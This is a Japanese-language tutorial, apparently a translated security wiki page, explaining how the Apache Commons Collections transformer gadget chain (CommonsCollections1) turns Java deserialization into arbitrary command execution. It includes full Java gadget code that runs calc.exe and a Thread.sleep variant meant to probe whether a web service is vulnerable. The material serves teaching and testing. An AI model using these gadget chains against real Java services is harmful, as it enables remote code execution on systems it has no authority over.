Java Transformers to Rutime exec()
いくつかの場所で、次のようなApacheコモンコレクションのトランスフォーマーを使用したJavaデシリアライズペイロードを見つけることができます:
Copy import org . apache . commons . * ;
import org . apache . commons . collections . * ;
import org . apache . commons . collections . functors . * ;
import org . apache . commons . collections . map . * ;
import java . io . * ;
import java . lang . reflect . InvocationTargetException ;
import java . util . Map ;
import java . util . HashMap ;
public class CommonsCollections1PayloadOnly {
public static void main ( String ... args) {
String [] command = { "calc.exe" };
final Transformer [] transformers = new Transformer []{
new ConstantTransformer( Runtime . class ) , //(1)
new InvokerTransformer( "getMethod" ,
new Class []{ String . class , Class [] . class } ,
new Object []{ "getRuntime" , new Class [ 0 ]}
) , //(2)
new InvokerTransformer( "invoke" ,
new Class []{ Object . class , Object [] . class } ,
new Object []{ null , new Object [ 0 ]}
) , //(3)
new InvokerTransformer( "exec" ,
new Class []{ String . class } ,
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers) ;
Map map = new HashMap <>();
Map lazyMap = LazyMap . decorate (map , chainedTransformer);
//Execute gadgets
lazyMap . get ( "anything" );
}
}
Javaのデシリアライズペイロードについて何も知らない場合、このコードがどのようにcalcを実行するかを理解するのは難しいかもしれません。
まず第一に、JavaのTransformer はクラスを受け取り 、別のクラスに変換する ものであることを知っておく必要があります。
また、ここで実行されているペイロード は次のものと同等 であることを知っておくと興味深いです:
Copy Runtime . getRuntime () . exec ( new String []{ "calc.exe" });
または正確に言うと 、最後に実行されるのは次のようになります:
Copy ((Runtime) ( Runtime . class . getMethod ( "getRuntime" ) . invoke ( null ))) . exec ( new String []{ "calc.exe" });
どのように
では、最初のペイロードが「シンプルな」ワンライナーと同等である理由は何ですか?
まず 、ペイロードには変換のチェーン(配列)が作成されている ことに気づくことができます:
Copy String [] command = { "calc.exe" };
final Transformer [] transformers = new Transformer []{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer( Runtime . class ) ,
//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer( "getMethod" ,
new Class []{ String . class , Class [] . class } ,
new Object []{ "getRuntime" , new Class [ 0 ]}
) ,
//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer( "invoke" ,
new Class []{ Object . class , Object [] . class } ,
new Object []{ null , new Object [ 0 ]}
) ,
//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer( "exec" ,
new Class []{ String . class } ,
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers) ;
コードを読むと、配列の変換を何らかの方法で連鎖させることができれば、任意のコマンドを実行できることに気付くでしょう。
では、それらの変換はどのように連鎖するのですか?
Copy Map map = new HashMap <>();
Map lazyMap = LazyMap . decorate (map , chainedTransformer);
lazyMap . get ( "anything" );
ペイロードの最後のセクションでは、Mapオブジェクトが作成されます 。次に、LazyMap
からマップオブジェクトとチェーンされたトランスフォーマーを使って関数decorate
が実行されます。以下のコードから、これによりチェーンされたトランスフォーマー がlazyMap.factory
属性内にコピーされることがわかります:
Copy protected LazyMap( Map map , Transformer factory) {
super(map);
if (factory == null ) {
throw new IllegalArgumentException( "Factory must not be null" ) ;
}
this . factory = factory;
}
そして、素晴らしいフィナーレが実行されます: lazyMap.get("anything");
これは get
関数のコードです:
Copy public Object get( Object key) {
if ( map . containsKey (key) == false ) {
Object value = factory . transform (key);
map . put (key , value);
return value;
}
return map . get (key);
}
そして、これは transform
関数のコードです。
Copy public Object transform( Object object) {
for ( int i = 0 ; i < iTransformers . length ; i ++ ) {
object = iTransformers[i] . transform (object);
}
return object;
}
だから、factory の中に**chainedTransformer
を保存しており、 transform
関数の中で すべてのチェーンされたトランスフォーマーを通過して**、1つずつ実行しています。面白いことに、各トランスフォーマーは object
を入力 として使用し、objectは最後に実行されたトランスフォーマーからの出力 です。したがって、すべてのトランスフォームは悪意のあるペイロードをチェーン実行しています 。
概要
最終的に、lazyMapがgetメソッド内でチェーンされたトランスフォーマーを管理する方法のため、私たちが次のコードを実行しているかのようです:
Copy Object value = "someting" ;
value = new ConstantTransformer( Runtime . class ) . transform (value); //(1)
value = new InvokerTransformer( "getMethod" ,
new Class []{ String . class , Class [] . class } ,
new Object []{ "getRuntime" , null }
) . transform (value); //(2)
value = new InvokerTransformer( "invoke" ,
new Class []{ Object . class , Object [] . class } ,
new Object []{ null , new Object [ 0 ]}
) . transform (value); //(3)
value = new InvokerTransformer( "exec" ,
new Class []{ String . class } ,
command
) . transform (value); //(4)
Note how value
は各 transform の入力であり、前の transform の出力であり、ワンライナーの実行を可能にします:
Copy ((Runtime) ( Runtime . class . getMethod ( "getRuntime" ) . invoke ( null ))) . exec ( new String []{ "calc.exe" });
注意してください、ここではComonsCollections1 ペイロードに使用されるガジェット が説明されました。しかし、これがどのように実行されるか は残されています。 ここでysoserial を見てください。このペイロードを実行するために、AnnotationInvocationHandler
オブジェクトを使用します。なぜなら、このオブジェクトがデシリアライズされると 、payload.get()
関数を呼び出す からです。それがペイロード全体を実行します 。
Javaスレッドスリープ
このペイロードは、ウェブが脆弱かどうかを特定するのに便利です。脆弱であればスリープを実行します 。
Copy import org . apache . commons . * ;
import org . apache . commons . collections . * ;
import org . apache . commons . collections . functors . * ;
import org . apache . commons . collections . map . * ;
import java . io . * ;
import java . lang . reflect . InvocationTargetException ;
import java . net . MalformedURLException ;
import java . net . URL ;
import java . util . Map ;
import java . util . HashMap ;
public class CommonsCollections1Sleep {
public static void main ( String ... args) {
final Transformer [] transformers = new Transformer []{
new ConstantTransformer( Thread . class ) ,
new InvokerTransformer( "getMethod" ,
new Class []{
String . class , Class [] . class
} ,
new Object []{
"sleep" , new Class []{ Long . TYPE }
}) ,
new InvokerTransformer( "invoke" ,
new Class []{
Object . class , Object [] . class
} , new Object []
{
null , new Object [] { 7000L }
}) ,
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers) ;
Map map = new HashMap <>();
Map lazyMap = LazyMap . decorate (map , chainedTransformer);
//Execute gadgets
lazyMap . get ( "anything" );
}
}
さらなるガジェット
ここでさらにガジェットを見つけることができます: https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html